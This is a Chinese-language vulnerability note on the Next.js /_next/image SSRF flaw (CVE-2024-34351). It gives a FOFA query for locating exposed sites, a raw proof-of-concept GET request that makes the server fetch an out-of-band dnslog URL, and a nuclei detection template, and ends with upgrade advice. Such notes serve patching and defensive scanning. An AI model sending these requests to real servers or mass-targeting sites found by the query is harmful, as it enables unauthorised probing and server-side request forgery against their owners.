免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
Next.js /_next/image SSRF 漏洞
02
—
漏洞影响
Next.js < 14.1.1版本
03
—
漏洞描述
Next.js是一个基于React的框架,专门为服务器端渲染(SSR)或静态站点生成(SSG)优化。它在其官网介绍中,主要突出就是相较于React做了许多的优化,为全栈开发打造。该软件低于14.1.1的版本中存在SSRF漏洞。
04
—
FOFA搜索语句
body="/_next/static"
05
—
漏洞复现
POC数据包如下
GET /_next/image?w=16&q=10&url=http://tvq938xd.dnslog.pw HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
漏洞复现成功
06
—
nuclei poc
poc文件内容如下
id: CVE-2024-34351
info:
name: Next.js - Server Side Request Forgery (SSRF)
author: righettod
severity: high
description: |
Next.Js, inferior to version 14.1.1, have its image optimization built-in component prone to SSRF.
remediation: Upgrade to Next.js version 14.1.1 or higher.
reference:
- https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
- https://nvd.nist.gov/vuln/detail/CVE-2024-34351
- https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g
- https://github.com/vercel/next.js/commit/8f7a6ca7d21a97bc9f7a1bbe10427b5ad74b9085
- https://github.com/vercel/next.js/pull/62561
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-34351
cwe-id: CWE-918
epss-score: 0.00062
epss-percentile: 0.26843
metadata:
max-request: 2
product: next.js
shodan-query:
- http.html:"/_next/static"
- cpe:"cpe:2.3:a:zeit:next.js"
fofa-query: body="/_next/static"
tags: cve,cve2024,vercel,nextjs,ssrf
http:
- method: GET
path:
- '{{BaseURL}}/_next/image?w=16&q=10&url=http://{{interactsh-url}}'
- '{{BaseURL}}/_next/image?w=16&q=10&url=https://{{interactsh-url}}'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- 'http'
- type: word
part: body
words:
- "The requested resource isn't a valid image"
07
—
修复建议
升级到最新版本。